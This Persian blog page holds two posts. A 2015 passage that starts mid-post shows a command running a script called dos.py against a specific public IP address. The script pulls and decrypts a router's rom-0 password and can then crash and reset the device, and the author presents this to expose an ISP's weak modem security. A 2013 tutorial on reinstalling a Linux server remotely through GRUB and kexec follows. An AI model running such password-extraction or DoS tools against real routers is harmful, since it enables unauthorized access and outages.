اسکریپت کارش اینه که بعد از بدست آوردن پسورد، روتر رو از کار میندازه و در اصل اون رو ریست میده! ولی خب بعد از روئیت پسورد خیلی راحت میشه از برنامه خارج شد تا روتر ریست نشه.

./dos.py -i 176.46.136.215

1	./dos.py –i 176.46.136.215

با اجرا کامند بالا همچین خروجی رو خواهیم داشت. Selection_002

دقت کنید در هنگامی که اسکریپت به سوال Decrypt the rom-0 file locally میرسه، y رو تایپ کنید تا پسورد رو در بیاره براتون. و بعد هم کافیه Ctrl + c رو بزنید تا از برنامه خارج شید.

و خب همه‌ی اینا رو گفتم که بدونید وضعیت چقدر داغونه. داتک فخیمه میتونه با یک فایروال خیلی ساده، پورت ۸۰ رو ببنده، همونطور که پورت ۸۰۸۰ رو الان بسته (احتمالا بخاطر وجود backdoor که روی این مودم‌ها و روی این پورت وجود داره) ! و البته خود کاربرا هم میتونن کلا دسترسی به روتر از طریق وب رو کاملا مسدود کنن که این امر نیاز به آگاه‌رسانی اونها داره.

23 مارس 2015

نصب دیسترو جدید از راه دور

موقعیتی رو تصور کنید که روی سروری که در اختیار دارید می‌خواید یک سیستم عامل از اول نصب کنید. اما دسترسی به kvm ندارید.

اگه روی سرور دسترسی به گراب داشته باشید به راحتی می‌شه بدون داشتن kvm یک سیستم عامل جدید رو نصب کرد.

حتی موقع خرید سرور جدید بجای اینکه پول بدید بابت فعال کردن kvm خیلی راحت با سنت‌اواس ۵.۹ میشه سرور ددیکیتد رو تهیه کرد و بعد با روشی که گفته میشه اکثر سیستم عامل‌های جدید رو از اول خودتون نصب کنید :)

برای کسایی هم که نمی‌دونن kvm چیه بگم یه چی تو همون مایه‌های مانیتور کنار کیس و به صورت ریموت تصویر نصب دیسترو جدید رو خواهید داشت و بنابراین می‌شه سیستم رو به نحو مطلوب پارتیشن بندی و به دیسترو مطلوب آپگرید کرد.

برای شروع کافیه برید پوشه boot و یه فولدر بسازید به اسم دیسترویی که قراره نصب کنید . حالا باید کرنل و initrd دیسترو مد نظر رو دانلود کنید. و بعد توی کرنل سه خط اضافه میکنید تا موقع بالا اومدن سیستم از فایل‌هایی که دانلود کردید استفاده شه. توی همین گراب هم آی‌پی و مشخصات شبکه سرور رو می‌دید تا از طریق ریموت بتونید پروسه نصب اواس جدید رو نگاه کنید! :)

مثلا برای نصب سنت‌اواس ۶.۴ کافیه این مراحل رو انجام بدید.

cd /boot

mkdir centos6

cd centos6

wget http://mirror.centos.org/centos/6.4/os/x86_64/isolinux/vmlinuz

wget http://mirror.centos.org/centos/6.4/os/x86_64/isolinux/initrd.img

و حالا ویرایش گراب ( با فرض اینکه سنت‌اواس ۵.۹ و گراب یک دارید)‌

vi /boot/grub/menu.lst

این سه خط رو اضافه میکنید

title CentOS 6.4 VNC Installation
root (hd0,0)
kernel /centos6/vmlinuz vnc vncpassword=yourPassword headless ip=10.0.0.10 netmask=255.255.255.0 gateway=10.0.0.1 dns=8.8.8.8 ksdevice=eth0 method=http://mirror.centos.org/centos/6.4/os/x86_64/ lang=en_US keymap=us
initrd /centos6/initrd.img

رنگای آبی تعداد خطا رو نشون می ده که کلا ۴ خط خواهید داشت. همه‌شون رو هم با توجه به تنظیماتی که توی گراب وجود داره کپی‌ پیست می‌کنید. فقط خطی رو که مربوط به kernel و initrd هست رو به شکل بالا دستکاری میکنید. آی‌پی و نت مسک و گیت‌وی هم که با توجه به هر سروری فرق میکنه و خیلی مهمه! با این ای‌پی می تونید ریموت از طریق vnc وارد پروسه نصب بشید :)

پارامتر default=0 رو هم می‌تونید تغییر بدید تا به صورت خودکار بعد از ریست، سیستم با کرنل دیسترو جدید بوت بشه. اگرم چیزی ترکید و سیستم بالا نیومد می‌تونید زنگ بزنید به دیتاسنتر و بگید که سیستم رو ریست بدن و اینبار برن توی کرنل دیسترو قدیمی! :)‌ اما راه بهتری هم هست که کاری کنیم بدون ریست و تغییر گراب، کرنل و initrd بوت بشه! برای اینکار باید برنامه kexec-tools رو نصب داشته باشید.

kexec -l /boot/centos6/vmlinuz –initrd=/boot/centos6/initrd.img

kexec -e

دستور اول کرنل و initrd رو در مموری بارگذاری میکنه و دستور دوم باعث بالا اومدن کرنل جدید میشه.

برای اوبونتو و دبیان و اپن‌سوزه هم می‌تونید از ادرس‌های زیر برای نصب ریموت استفاده کنید.

http://cdimage.ubuntu.com/netboot/

http://www.debian.org/distrib/netinst

و اپن‌سوزه

mkdir /boot/install

cd /boot/install

wget –output-document=oS-12.3.vmlinuz.install http://download.opensuse.org/distribution/12.3/repo/oss/boot/$(uname -i)/loader/linux

wget –output-document=oS-12.3.initrd.install http://download.opensuse.org/distribution/12.3/repo/oss/boot/$(uname -i)/loader/initrd

و در گراب هم تنظیمات به این شکل میشه

title install
root (sdX,Y) # change this (sdX,Y)
kernel /boot/install/oS-12.3.vmlinuz.install install=http://download.opensuse.org/distribution/openSUSE-stable/repo/oss/
initrd /boot/install/oS-12.3.initrd.install

31 جولای 2013